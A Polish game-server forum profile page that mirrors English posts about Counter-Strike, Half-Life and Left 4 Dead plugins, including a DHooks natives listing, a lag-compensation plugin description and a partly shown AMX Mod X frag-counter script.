Skocz do zawartości

Nowy szablon forum

mygo.pl

Stworzyliśmy dla Was nowy wygląd forum. Z pewnością znajdziesz rzeczy, które wg Ciebie mogą zostać zmienione - wspomnij o tym w specjalnym wątku.

Czytaj więcej

Jak założyć własną sieć

serwerów CS

Zastanawiasz się nad prowadzeniem własnej sieci serwerów? Przeczytaj podstawowe informacje, na które należy zwrócić uwagę, przy takim projekcie.

Czytaj więcej

Tworzymy spis sieci

dodaj swoją

Dodaj sieć do której należysz, pozwoli to na promocję i budowę ogólnopolskiej bazy sieci CS.

Czytaj więcej

MYGO.pl

RSSy
  • Postów

    28668
  • Dołączył

  • Ostatnia wizyta

    nigdy
  • Wygrane w rankingu

    11

Treść opublikowana przez MYGO.pl

  1. Hello, I rented a Half-Life server. But I have 2 questions which I could not find the right source to find them. I hope you can help me because this is important for my own happiness. My first question is: How can I use that model in my server? https://www.moddb.com/games/half-life/addons/scream My second question is: Only admins can use that model in my server. How can i do this? Przeczytaj cały wpis
  2. Description This plugin is simple. It allows you to assign a key to 1-key throwing HE grenade, just like what COD and R6S does. You may also hold it if you wish, how ever I did NOT make it really "cooking" and reducing its exploding time. Settings If you wish to use your own model instead of my friend's, you may open the sma file then edit line 12~22: you can simply change from HE to FB or SG, and fill your model animation data. Keybind Although I registered two cmds, but you only need to bind one: "+qtg" for example: bind MOUSE3 "+qtg" // this will allow you throwing grenade by pressing your mouse wheel. bind MOUSE4 "+qtg" // this will allow you throwing grenade by pressing your mouse side key. CVAR None. Just edit the sma and re-compile it. Includes Just an offset.inc from ....like 7 or 8 years ago? I only edit it once to fix some naming problem. Tested & Works on AmxModX 1.8.1 AmxModX 1.8.2 AmxModX 1.9.0 beta Supported Games CS:CZ (Latest Steam Ver.) CS (Latest Steam Ver.) Reference Books ReGameDLL_CS project. I take my leaning note (in English) inside the plugin, hope you don't mind. Bugs you might meet As I am Chinese, I am saving this .sma in UTF-8 format with Notepad++. This MIGHT cause some compiling problems. Attached Files QuickGrenade.zip (500.5 KB) Przeczytaj cały wpis
  3. About: Originally two Extensions [L4D1] Left 4 Downtown and [L4D2] Left 4 Downtown 2 created by Downtown and maintained by various others, this is an all-in-one port to DHooks with many additions. This also merges natives from L4D2_Direct by "ProdigySim" and L4D_Direct port by "raziEiL". I done this to learn some stuff, add missing natives and forwards to L4D1 and add more features. Also because the extensions are often broken with SourceMod updates and confusing to find the latest gamedata or working version. Thanks to Lux and a conversation we had: using the plugin iterator and GetFunctionByName to detect which forwards are being used by plugins. This will only detour functions being used by other plugins. Plugins are rescanned on map change. Features: Many new forwards and natives in L4D1. Some new natives and forwards in L4D2. Additional features not present in the Extension versions. Addons Disabler (L4D2) included. Dynamic detouring - only detours forwards required by other plugins. Rescans on map change. Animation hooks to modify player animations. View the \addons\sourcemod\data\ folder for activity names and sequence numbers. Demo plugin demonstrating animation hooks + all forwards and natives capabilities. Bugs: Player slots is unsupported. Use the L4DToolZ Metamod plugin to increase player slots and unreserve your server. The native L4D_LobbyUnreserve is unsupported because SourceMod SDKCalls are unable to use uint64_t sized integers. Forwards L4D2_OnSendInRescueVehicle and L4D2_OnUseHealingItems are blocked in Linux L4D1/L4D2 to prevent crashes. Waiting for DHooks update to support object returns. Conflicts with Left4Downtown, remove the extension to run. Demo Plugin: There are multiple warnings when compiling, this is intentional to test everything. I've tried to test every native and forward on Windows and Linux in both games. Everything appears to be working but I might have missed something. Thanks: Lux - Lots of technical support and ideas + figuring out why some detours were broken. Peace-Maker - For the DHooks Dynamic Detour extension and various help. Dragokas - Server and support testing in Linux for both games. Spirit_12 - Various ideas and support. xZk - Support testing. Thanks to the following individuals for their contribution to the Extensions. This plugin was made using source code from the following plugins: Spoiler Code: * Original Left4Downtown extension: https://forums.alliedmods.net/showthread.php?t=91132 "Downtown1" and "XBetaAlpha" - authors of the original Left4Downtown. "pRED*" for his TF2 tools code, I looked at it a lot . and for answering questions on IRC "Fyren" for being so awesome and inspiring me from his sdktools patch to do custom |this| calls. "ivailosp" for providing the Windows addresses that needed to be patched to get player slot unlocking to work. "dvander" for making sourcemod and teaching me about the mod r/m bytes. "DDRKhat" for letting me use his Linux server to test this "Frustian" for being a champ and poking around random Linux sigs so I could the one native I actually needed. "XBetaAlpha" for making this a team effort rather than one guy writing all the code. * Original Left4Downtown2 extension: https://forums.alliedmods.net/showthread.php?t=134032 "Downtown1" and "XBetaAlpha" - authors of the original Left4Downtown. "ProdigySim" - Confogl developer interested in expanding and updating Left4Downtown. "AtomicStryker" - Sourcemod plugin developer, and part of the original Left4Downtown team. "psychonic" - Resident Sourcemod insider, started Left4Downtown2. "asherkin" - Hosting the autobuild server. "CanadaRox", "vintik", "rochellecrab", and anyone else who has submitted code in any way. * Left 4 Downtown 2 Extension updates: https://forums.alliedmods.net/showpost.php?p=1970730&postcount=397?p=1970730&postcount=397 "Visor" for "l4d2_addons_eclipse" cvar and new forwards. * Left 4 Downtown 2 Extension updates "Attano" for various github commits. * Left 4 Downtown 2 Extension updates "Accelerator74" for various github commits. * "ProdigySim" and the "ConfoglTeam" for "L4D2Direct" plugin: https://forums.alliedmods.net/showthread.php?t=180028 * "raziEiL" for "L4D_Direct Port" offsets and addresses: https://github.com/raziEiL/l4d_direct-port Admin Commands: (requires "z" flag) PHP Code: // Reloads the detour hooks, enabling or disabling depending if they're required by other plugins. // When adding or removing plugins that use any detours during gameplay. To optimize forwards by disabling unused or enabling required functions that were previously unused. sm_l4dhooks_reload CVars: PHP Code: l4d2_addons_eclipse "-1" // Addons Manager (-1: use addonconfig; 0/1: override addonconfig. left4dhooks_version // Left 4 Dhooks Direct plugin version. All Forwards and Natives: Assume everything is L4D1 and L4D2 compatible unless otherwise stated. View the include file for detailed descriptions. Forwards: (L4D1 = 31 & L4D2 = 42) Spoiler PHP Code: // ==================== // Various Forwards // ==================== // Called whenever ZombieManager::SpawnSpecial(ZombieClassType,Vector&,QAngle&) is invoked forward Action L4D_OnSpawnSpecial(int &zombieClass, const float vecPos[3], const float vecAng[3]); // Not invoked if z_spawn tank is used and it gives a ghosted/dead player tank forward Action L4D_OnSpawnTank(const float vecPos[3], const float vecAng[3]); // Called when a Witch spawns forward Action L4D_OnSpawnWitch(const float vecPos[3], const float vecAng[3]); // L4D2 only. Called when a Witch Bride spawns forward Action L4D_OnSpawnWitchBride(const float vecPos[3], const float vecAng[3]); // Called on random hordes, mini and finale hordes, and boomer hordes forward Action L4D_OnMobRushStart(); // Called on boomer hordes, increases Zombie Spawn Queue forward Action L4D_OnSpawnITMob(int &amount); // Called on natural hordes & z_spawn mob forward Action L4D_OnSpawnMob(int &amount); // This happens when a player enters ghost mode (or in finales auto-materialized) forward void L4D_OnEnterGhostState(int client); // Called when bots or players are joining a team forward Action L4D_OnIsTeamFull(int team, bool &full); // This resets the map score at the beginning of a map, and by checking forward Action L4D_OnClearTeamScores(bool newCampaign); // The campaign scores are updated after the 2nd round is completed forward Action L4D_OnSetCampaignScores(int &scoreA, int &scoreB); // A versus round is started when survivors leave the safe room, or force started after 90 seconds regardless forward Action L4D_OnFirstSurvivorLeftSafeArea(int client); // Constantly called to get players max Crouch speed forward Action L4D_OnGetCrouchTopSpeed(int target, float &retVal); // Constantly called to get players max Run speed forward Action L4D_OnGetRunTopSpeed(int target, float &retVal); // Constantly called to get players max Walk speed forward Action L4D_OnGetWalkTopSpeed(int target, float &retVal); // L4D2 only. A script value is map specific forward Action L4D_OnGetScriptValueInt(const char[] key, int &retVal); // L4D2 only. A script value is map specific forward Action L4D_OnGetScriptValueFloat(const char[] key, float &retVal); // L4D2 only. A script value is map specific forward Action L4D_OnGetScriptValueString(const char[] key, const char[] defaultVal, char retVal[128]); // L4D2 only. Used to deny/allow difficulty changes in different game modes forward Action L4D_OnHasConfigurableDifficulty(int &retVal); // L4D2 only. Constantly called to get the survivor character set forward Action L4D_OnGetSurvivorSet(int &retVal); // L4D2 only. Constantly called to get the survivor character set forward Action L4D_OnFastGetSurvivorSet(int &retVal); // Passed values are from the map's Mission Keyvalues. If those keyvalues don't exist, they are from cvar and other globals forward Action L4D_OnGetMissionVSBossSpawning(float &spawn_pos_min, float &spawn_pos_max, float &tank_chance, float &witch_chance); // Not invoked if tank is bot forward void L4D_OnReplaceTank(int tank, int newtank); // Is used for displaying the "X gets Tank" window and transferring Tank control forward Action L4D_OnTryOfferingTankBot(int tank_index, bool &enterStasis); // Called when a tank throws a rock. Blocking this call will keep the tank from throwing a rock forward Action L4D_OnCThrowActivate(int ability); // Called whenever a tank uses his primary (punch) or secondary (throw) attack forward Action L4D2_OnSelectTankAttack(int client, int &sequence); // L4D2 only. Called when a player uses his melee weapons primary attack forward Action L4D_OnStartMeleeSwing(int client, bool boolean); // Called when the last Finale stage is reached and the Rescue means becomes 'available'. forward Action L4D2_OnSendInRescueVehicle(); // L4D2 only. Called when the director stage changes forward Action L4D2_OnChangeFinaleStage(int &finaleType, const char[] arg); // Called before score calculations and the scoreboard display forward Action L4D2_OnEndVersusModeRound(bool countSurvivors); // Called after all score calculations are complete and the scoreboard shows forward void L4D2_OnEndVersusModeRound_Post(); // Called when a player is about to grab a ledge forward Action L4D_OnLedgeGrabbed(int client); // Called post-revive so all data values are post-revive status. forward void L4D2_OnRevived(int client); // Source is always null for Charger impacts (Valve) forward Action L4D2_OnStagger(int target, int source); // L4D2 only uses this on Special Infected. Blocks hunter dead stop forward Action L4D_OnShovedBySurvivor(int client, int victim, const float vecDir[3]); // Called for every single shovable and even some of the unshovable entities in the game forward Action L4D2_OnEntityShoved(int client, int entity, int weapon, float vecDir[3], bool bIsHighPounce); // The survivor that is about to get stumbled as a result of "attacker" capping someone in close proximity forward Action L4D2_OnPounceOrLeapStumble(int victim, int attacker); // Molotov and Spitter fire/goo spread forward Action L4D2_OnSpitSpread(int spitter, int projectile, float &x, float &y, float &z); // Causes bots to use or give healing items (except in safe room on non-expert) forward Action L4D2_OnUseHealingItems(int client); // Indicates which item the Survivor Bot will attempt to pick up forward Action L4D2_OnFindScavengeItem(int client, int &item); // Called when Special Infected are targeting a victim forward Action L4D2_OnChooseVictim(int specialInfected, int &curTarget); // L4D2 only. Called when the client's material system is expecting instructions from the server in regards to addons forward Action L4D2_OnClientDisableAddons(const char[] SteamID); // DEPRECATED - UNUSED // forward Action L4D_OnInfectedShoved(int infected, int entity); // forward void L4D2_OnWaterMove(int client); Natives: (L4D1 = 17 + 21 [direct] & L4D2 = 54 + 39 [direct]) Spoiler PHP Code: // ==================== // Animation Hook // View the data folder cfgs for a list of Activity strings and their related sequence numbers. // ==================== // AnimHookCallback callback called whenever animation is invoked. function Action(int client, int &sequence); // Add a client animation hook. native bool AnimHookEnable(int client, AnimHookCallback callback); // Remove a client animation hook. native bool AnimHookDisable(int client, AnimHookCallback callback); // Retrieves the activity string from it's relative animation number. native bool AnimGetActivity(int sequence, char[] activity, int maxlength); // Retrieves the animation activity sequence number from an activity string native int AnimGetFromActivity(char[] activity); // ==================== // Various Natives // ==================== // L4D2 only. Restarts the setup timer (when in scavenge mode) native int L4D_ScavengeBeginRoundSetupTime(); // L4D2 only. Resets the natural mob (horde) timer native void L4D_ResetMobTimer(); // L4D2 only. Get the remaining spawn time for an SI native float L4D_GetPlayerSpawnTime(int player); // Restarts the round, switching the map if necessary native int L4D_RestartScenarioFromVote(const char[] map); // L4D2 only. Gets the max versus completion score for the map native int L4D_GetVersusMaxCompletionScore(); // L4D2 only. Sets the max versus completion score for the map native int L4D_SetVersusMaxCompletionScore(int score); // L4D2 only. The campaign scores are not set until the end of round 2, use L4D_GetCampaignScores to get them earlier. native int L4D_GetTeamScore(int logical_team, bool campaign_score=false); // Tells if the Mission (map) is the first map of the campaign native bool L4D_IsFirstMapInScenario(); // Tells if the Mission (map) is the final map of the campaign native bool L4D_IsMissionFinalMap(); // Notifies the CGameRulesProxy that the game state has been changed native void L4D_NotifyNetworkStateChanged(); // Trigger's a target player's stagger behavior native void L4D_StaggerPlayer(int target, int source_ent, float vecSource[3]); // Calls in the rescue vehicle native void L4D2_SendInRescueVehicle(); // L4D2 only. Changes the Finale stage native void L4D2_ChangeFinaleStage(int finaleType, const char[] arg); // Replaces a players tank control with another player native void L4D_ReplaceTank(int tank, int newtank); // Spawns a Tank native int L4D2_SpawnTank(const float vecPos[3], const float vecAng[3]); // Spawns a Special Infected native int L4D2_SpawnSpecial(int zombieClass, const float vecPos[3], const float vecAng[3]); // Spawns a Witch native int L4D2_SpawnWitch(const float vecPos[3], const float vecAng[3]); // Spawns a Witch Bridge native int L4D2_SpawnWitchBride(const float vecPos[3], const float vecAng[3]); // Current Tank count native int L4D2_GetTankCount(); // Current Witch count native int L4D2_GetWitchCount(); // L4D2 only. These are the actual values used for campaign scores--not proxies native void L4D2_GetVersusCampaignScores(int scores[2]); // L4D2 only. These are the actual values used for campaign scores--not proxies native void L4D2_SetVersusCampaignScores(const int scores[2]); // L4D2 only. These values are checked against as the survivors move through the map. Once they are passed, the tank spawns. native void L4D2_GetVersusTankFlowPercent(float tankFlows[2]); // L4D2 only. These values are checked against as the survivors move through the map. Once they are passed, the tank spawns. native void L4D2_SetVersusTankFlowPercent(const float tankFlows[2]); // L4D2 only. These values are checked against as the survivors move through the map. Once they are passed, the witch spawns. native void L4D2_GetVersusWitchFlowPercent(float witchFlows[2]); // L4D2 only. These values are checked against as the survivors move through the map. Once they are passed, the witch spawns. native void L4D2_SetVersusWitchFlowPercent(const float witchFlows[2]); // DEPRECATED - UNUSED // The campaign scores are updated after L4D_OnSetCampaignScores // native int L4D_GetCampaignScores(int &scoreA, int &scoreB); // native void L4D_LobbyUnreserve(); // native bool L4D_LobbyIsReserved(); // ==================== // TIMERS - All are L4D2 only. // ==================== // Resets a given CountdownTimer native void L4D2_CTimerReset(L4D2CountdownTimer timer); // Starts a given CountdownTimer with a given duration native void L4D2_CTimerStart(L4D2CountdownTimer timer, float duration); // Invalidates a given CountdownTimer native void L4D2_CTimerInvalidate(L4D2CountdownTimer timer); // Tells if a given CountdownTimer has started native bool L4D2_CTimerHasStarted(L4D2CountdownTimer timer); // Tells if a given CountdownTimer is elapsed native bool L4D2_CTimerIsElapsed(L4D2CountdownTimer timer); // Gets elapsed time of a given CountdownTimer, from the timed it was started native float L4D2_CTimerGetElapsedTime(L4D2CountdownTimer timer); // Gets remaining time on a given CountdownTimer native float L4D2_CTimerGetRemainingTime(L4D2CountdownTimer timer); // Gets the duration of a given CountdownTimer native float L4D2_CTimerGetCountdownDuration(L4D2CountdownTimer timer); // Starts a given IntervalTimer native void L4D2_ITimerStart(L4D2IntervalTimer timer); // Invalidates a given IntervalTimer native void L4D2_ITimerInvalidate(L4D2IntervalTimer timer); // Tells whether a given IntervalTimer has started native bool L4D2_ITimerHasStarted(L4D2IntervalTimer timer); // Gets the elapsed time of a given IntervalTimer native float L4D2_ITimerGetElapsedTime(L4D2IntervalTimer timer); // ==================== // WEAPONS - All are L4D2 only. // ==================== // Checks for a given weapon string to exist in the WeaponInformationDatabase native bool L4D2_IsValidWeapon(const char[] weaponName); // Read an int-typed attribute for a given weapon from the WeaponInformationDatabase native int L4D2_GetIntWeaponAttribute(const char[] weaponName, L4D2IntWeaponAttributes attr); // Read a float-typed attribute for a given weapon from the WeaponInformationDatabase native float L4D2_GetFloatWeaponAttribute(const char[] weaponName, L4D2FloatWeaponAttributes attr); // Set an int-typed attribute for a given weapon from the WeaponInformationDatabase to a given value native void L4D2_SetIntWeaponAttribute(const char[] weaponName, L4D2IntWeaponAttributes attr, int value); // Set a float-typed attribute for a given weapon from the WeaponInformationDatabase to a given value native void L4D2_SetFloatWeaponAttribute(const char[] weaponName, L4D2FloatWeaponAttributes attr, float value); // Retrieve the index for a given melee weapon from the Melee Weapon Database native int L4D2_GetMeleeWeaponIndex(const char[] weaponName); // Read an int-typed attribute for a given id from the Melee Weapon Database native int L4D2_GetIntMeleeAttribute(int id, L4D2IntMeleeWeaponAttributes attr); // Read a float-typed attribute for a given id from the Melee Weapon Database native float L4D2_GetFloatMeleeAttribute(int id, L4D2FloatMeleeWeaponAttributes attr); // Read a bool-typed attribute for a given id from the Melee Weapon Database native bool L4D2_GetBoolMeleeAttribute(int id, L4D2BoolMeleeWeaponAttributes attr); // Set an int-typed attribute for a given id from the Melee Weapon Database to a given value native void L4D2_SetIntMeleeAttribute(int id, L4D2IntMeleeWeaponAttributes attr, int value); // Set a float-typed attribute for a given id from the Melee Weapon Database to a given value native void L4D2_SetFloatMeleeAttribute(int id, L4D2FloatMeleeWeaponAttributes attr, float value); // Set a bool-typed attribute for a given id from the Melee Weapon Database to a given value native void L4D2_SetBoolMeleeAttribute(int id, L4D2BoolMeleeWeaponAttributes attr, bool value); // DEPRECATED - UNUSED // native float L4D_GetMobSpawnTimerRemaining(); // native float L4D_GetMobSpawnTimerDuration(); // ==================== // L4D_DIRECT (some are duplicates of the above, ported to keep consistency and allow minimal modification of existing plugins) // ==================== // L4D2 only. Get the current Tank count stored by the director. native int L4D2Direct_GetTankCount(); // L4D2 only. Get a reference to the CDirector natural mob spawn CountdownTimer native CountdownTimer L4D2Direct_GetMobSpawnTimer(); // L4D2 only. Get a reference to a IntervalTimer that counts up from the last death of a given SI class native IntervalTimer L4D2Direct_GetSIClassDeathTimer(int class); // L4D2 only. Get a reference to a CountdownTimer that counts down from the last attempted director-controlled spawn of an SI native CountdownTimer L4D2Direct_GetSIClassSpawnTimer(int class); // Gets the number of times the tank has passed to a player. native int L4D2Direct_GetTankPassedCount(); // Sets the number of times the tank has passed to a player. native void L4D2Direct_SetTankPassedCount(int passes); // Reads the director's stored campaign score for a given team. native int L4D2Direct_GetVSCampaignScore(int teamNumber); // Set the director's stored campaign score for a given team. native void L4D2Direct_SetVSCampaignScore(int teamNumber, int score); // Reads the tank flow percent for a given round for versus mode native float L4D2Direct_GetVSTankFlowPercent(int roundNumber); // Sets the tank flow percent for a given round for versus mode native int L4D2Direct_SetVSTankFlowPercent(int roundNumber, float flow); // Is there going to be a tank spawned during the given round native bool L4D2Direct_GetVSTankToSpawnThisRound(int roundNumber); // Tell the director whether or not to spawn a(nother) flow distance-based tank for this round. native void L4D2Direct_SetVSTankToSpawnThisRound(int roundNumber, bool spawn); // Reads the witch flow percent for a given round for versus mode native float L4D2Direct_GetVSWitchFlowPercent(int roundNumber); // Sets the witch flow percent for a given round for versus mode native int L4D2Direct_SetVSWitchFlowPercent(int roundNumber, float flow); // Is there going to be a witch spawned during the given round native bool L4D2Direct_GetVSWitchToSpawnThisRound(int roundNumber); // Tell the director whether or not to spawn a(nother) flow distance-based witch for this round. native int L4D2Direct_SetVSWitchToSpawnThisRound(int roundNumber, bool spawn); // L4D2 only. Get a reference to the VersusStart CountdownTimer native CountdownTimer L4D2Direct_GetVSStartTimer(); // L4D2 only. Get a reference to the Scavenge Round Setup CountdownTimer native CountdownTimer L4D2Direct_GetScavengeRoundSetupTimer(); // L4D2 only. Get a reference to the Scavenge Overtime Grace CountdownTimer native CountdownTimer L4D2Direct_GetScavengeOvertimeGraceTimer(); // Get the max flow distance (in flow units) for the current map. native float L4D2Direct_GetMapMaxFlowDistance(); // L4D2 only. Get a reference to a CountdownTimer that tracks when an SI player can next spawn. native CountdownTimer L4D2Direct_GetSpawnTimer(int client); // Get a reference to a CountdownTimer that tracks when an survivor player is invulnerable due to "godframes". native CountdownTimer L4D2Direct_GetInvulnerabilityTimer(int client); // Looks up the number of tickets a client has for entry into the tank lottery. native int L4D2Direct_GetTankTickets(int client); // Sets the number of tickets a player has for entry into the tank lottery. native void L4D2Direct_SetTankTickets(int client, int tickets); // L4D2 only. Gets a client's shove penalty. native int L4D2Direct_GetShovePenalty(int client); // L4D2 only. Sets a client's shove penalty. native void L4D2Direct_SetShovePenalty(int client, int penalty); // L4D2 only. Gets the time at which a survivor can perform his next +attack2. native float L4D2Direct_GetNextShoveTime(int client); // L4D2 only. Sets the time at which a survivor can perform his next +attack2. native void L4D2Direct_SetNextShoveTime(int client, float time); // L4D2 only. Gets the health of the survivor from before they were incapacitated native int L4D2Direct_GetPreIncapHealth(int client); // L4D2 only. Sets the health of the survivor from before they were incapacitated native void L4D2Direct_SetPreIncapHealth(int client, int health); // L4D2 only. Gets the temporary health of the survivor from before they were incapacitated native int L4D2Direct_GetPreIncapHealthBuffer(int client); // L4D2 only. Sets the health of the survivor from before they were incapacitated native void L4D2Direct_SetPreIncapHealthBuffer(int client, int health); // L4D2 only. Gets the maximum number of flames a CInferno is allowed to spawn. native int L4D2Direct_GetInfernoMaxFlames(int entity); // L4D2 only. Sets the maximum number of flames a CInferno is allowed to spawn. native void L4D2Direct_SetInfernoMaxFlames(int entity, int flames); // Get the TerrorNavArea which holds a specific position. native Address L4D2Direct_GetTerrorNavArea(float pos[3], float beneathLimit = 120.0); // Find the distance through the map (in flow units) that a TerrorNavArea is located. native float L4D2Direct_GetTerrorNavAreaFlow(Address pTerrorNavArea); // Force the director to pass the tank. native bool L4D2Direct_TryOfferingTankBot(int entity, int bEnterStasis); // Gets a player's distance in flow units. native float L4D2Direct_GetFlowDistance(int client); // Plays the specified animation for a player native void L4D2Direct_DoAnimationEvent(int client, int event); Changes: Code: 1.0 (24-Feb-2020) - Initial release. Requirements: DHooks (Experimental Dynamic Detour support) extension. Requires SourceMod 1.10 due to various methodmaps. Done this to force servers to update. Can work on SM 1.9 but requires reverting methodmaps code and variable types. Instead you should just upgrade SM to benfit from fixes, improvements, and new features. Conflicts with Left4Downtown, remove the extension to run. Installation: Download the .zip and extract the files to their respective folders in your servers \addons\sourcemod\ folder. Attached Files left4dhooks.zip (125.3 KB) Wyświetl pełny artykuł
  4. Hello, I want a plugin where i can set any command access in new .cfg file. Example :- "amx_unban" "c" amx_unban is the command and "c" is the access flag Thanks Przeczytaj cały wpis
  5. I want a plugin to be activated when the player exits this code Code: disconnect = client_cmd(id,"bind b buy"); Przeczytaj cały wpis
  6. MYGO.pl

    Search Plugin

    Hi I'm looking for a wall copy plugin https://youtu.be/PPk8KLw8ovc Przeczytaj cały wpis
  7. Is it possible to make a anti cheat if we have the cheat ? Are cheats can only be blocked by plugins ? Is there another way of it ? Przeczytaj cały wpis
  8. What is lag compensation? https://developer.valvesoftware.com/...g_compensation https://developer.valvesoftware.com/...g_compensation Watch this: https://www.youtube.com/watch?v=6EwaW2iz4iA Okay, so why this plugin? The source engine has lag compensation for player entities ONLY. Anything else that's moving around in the server is NOT lag compensated. This plugin fixes this for the most part. It provides accurate and cheap (no interpolation between two snapshots) lag compensation for trigger_{hurt,push,teleport} and func_physbox* entities which are parented to moving entities. It does this automatically and avoids breaking How does it work? The plugin remembers the last 32 (configurable) states of up to 256 (configurable) entities. It keeps track if entities are actually moving and only compensates them if they are. There are barely any performance implications of running this plugin, especially because it also optimizes how triggers work. If a trigger is lag compensated it will not run any physics simulation any more. Usually a moving trigger would be actively scanning and touching any entity in its collision hull. To make lag compensation possible this is blocked with the PhysHooks extension and now only players will be touching triggers. Before a player is simulated, all (active/moving) entities are moved to where they are on their screen. This is done for each player. At the end of the player simulation loop the compensated entities are restored to their server state. After the entities have been simulated their parameters are recorded. Issues Moving platforms/trains are not lag compensated. If a trigger is parented to it, it will be lag compensated however. Imagine a thin platform with a kill trigger parented on the bottom of it. If a player stands on the platform and it moves up the trigger on the bottom will move through the platform, into the player and kill them. In this case you'll have to modify the map with something like stripper-source and add the no-lagcomp flag to the trigger. Only letting players touch triggers comes with some issues on CS:S however, if a player stops sending packets to the server they are not simulated at all any more. Hence they will not touch any triggers that move through them. CS:GO seems to have a fix for this in built. For CS:S I've included a plugin AntiLagSwitch which forces player simulation with empty packets after the server didn't hear from them for 16 ticks. Because source has no client side prediction of triggers and we can't cheat the laws of physics something else has to be delayed now: death. You play with 300ms ping and seemingly jump over a laser, only to die after it has already passed you. A smart player will obviously scream "fucking 0 ping botox you gamer-word" into the voice chat. A not-so-smart player will realize they made a mistake and it's just the information of their death which had to travel for 300ms before reaching them. Usage Install the DHooks + Detours extension: https://forums.alliedmods.net/showpo...&postcount=589 Install the PhysHooks extension: https://forums.alliedmods.net/showth...09#post2684809 Install the LagCompensation.smx into your plugins/ folder and LagCompensation.games.txt into your gamedata/ folder. If you want to avoid a trigger (or physbox) from being lag compensated by this plugin then you can add the value 1073741824 (1 << 30) to the spawnflags of the entity. Players can choose to effectively this plugin by using the commands: !lagcomp or !0ping (effectively: the plugin will always take the newest entity snapshot for those players, it will assume the player actually has 0 ping) Thanks to: All players and staff of UNLOZE Zombie Escape server. While developing this plugin there have been many bugs and weird things happening for weeks. Thanks for not pulling the plug and letting me continue working on this until all issues have been fixed. POSSESSION Zombie Escape version for testing the CS:GO Win32 version and helping with signatures. Obviously the SourceMod project, without SourceMod most of our mods would be incredibly harder or outright not possible. Dr!fter and Pyschonic for DHooks + Detours. The leaked 2007 engine source code provided insight into the depths of the engine, PhysHooks makes heavy use of this. Video demonstration Don't jump as early as this guy: https://www.youtube.com/watch?v=ubZtbI0xCGE In the past you had to jump lasers very early depending on your ping and lerp, because there was no lag compensation. Now you'll just die because you fall into the laser. Donations CS:GO Windows source code and builds will be released after I've received donations in total of 200€. Supporting Windows requires a lot more effort, debugging it even more. It's also really stupid to run a Windows server when Linux causes a lot less trouble. https://paypal.me/BotoXbz Attached Files Get Plugin or Get Source (LagCompensation.sp - 36.7 KB) LagCompensation.games.txt (4.4 KB) LagCompensation.smx (36.6 KB) Get Plugin or Get Source (AntiLagSwitch.sp - 2.5 KB) AntiLagSwitch.games.txt (248 Bytes) Wyświetl pełny artykuł
  9. A simple plugin that shows in chat who won the RPS. Attached Thumbnails Attached Files Get Plugin or Get Source (rpsp.sp - 748 Bytes) rpsp.smx (10.7 KB) Wyświetl pełny artykuł
  10. Hello friends, I need an arrangement like this. this add-on below shows the weapon icon part there and counts kill. I want to give 10-20 seconds of godmode to the 9th kill area and close it back. Is there any friend who can do it? I present my thanks to you in advance. PHP Code: /*AMX MOD X script ************************************************************************** * FragCounter V 1.01 by Scarzzurs * * * ******************************************************************************* * * Ported By KingPin( [email protected] ). I take no responsibility * for this file in any way. Use at your own risk. No warranties of any kind. * * ******************************************************************************** * **********************************************************************************/ #include <amxmodx> new pfrags[33] new top new gmsgStatusIcon public playerspawn(id){ pfrags[id]=0 top = 0 calculate_time(id,pfrags[id]) } public death(){ new killer = read_data(1) pfrags[killer]=pfrags[killer]+1 if (pfrags[killer]==9 && file_exists("sound/misc/monsterkill.wav")==1) emit_sound(killer,CHAN_STATIC, "misc/monsterkill.wav", 1.0, ATTN_NORM, 0, PITCH_NORM) topplayer() new players[32] new player_num get_players(players, player_num) for (new i = 0; i < player_num; i++) calculate_time(players[i],pfrags[players[i]]) return PLUGIN_CONTINUE } public topplayer(){ new score new players[32] new player_num get_players(players, player_num) for (new i = 0; i < player_num; i++){ if (pfrags[players[i]]>score){ score=pfrags[players[i]] top=players[i] } else if (pfrags[players[i]]==score) top = 0 } } public calculate_time(id,num){ switch(num){ case 0:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 1:{ showtimer(id,"number_1",1) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 2:{ showtimer(id,"number_1",0) showtimer(id,"number_2",1) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 3:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",1) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 4:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",1) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 5:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",1) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 6:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",1) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 7:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",1) showtimer(id,"number_8",0) showtimer(id,"number_9",0) } case 8:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",1) showtimer(id,"number_9",0) } case 9:{ showtimer(id,"number_1",0) showtimer(id,"number_2",0) showtimer(id,"number_3",0) showtimer(id,"number_4",0) showtimer(id,"number_5",0) showtimer(id,"number_6",0) showtimer(id,"number_7",0) showtimer(id,"number_8",0) showtimer(id,"number_9",1) } } } public showtimer(id,number[10],onoff){ if (is_user_connected(id)){ if (id == top && onoff == 1) onoff = 2 message_begin( MSG_ONE, gmsgStatusIcon, {0,0,0}, 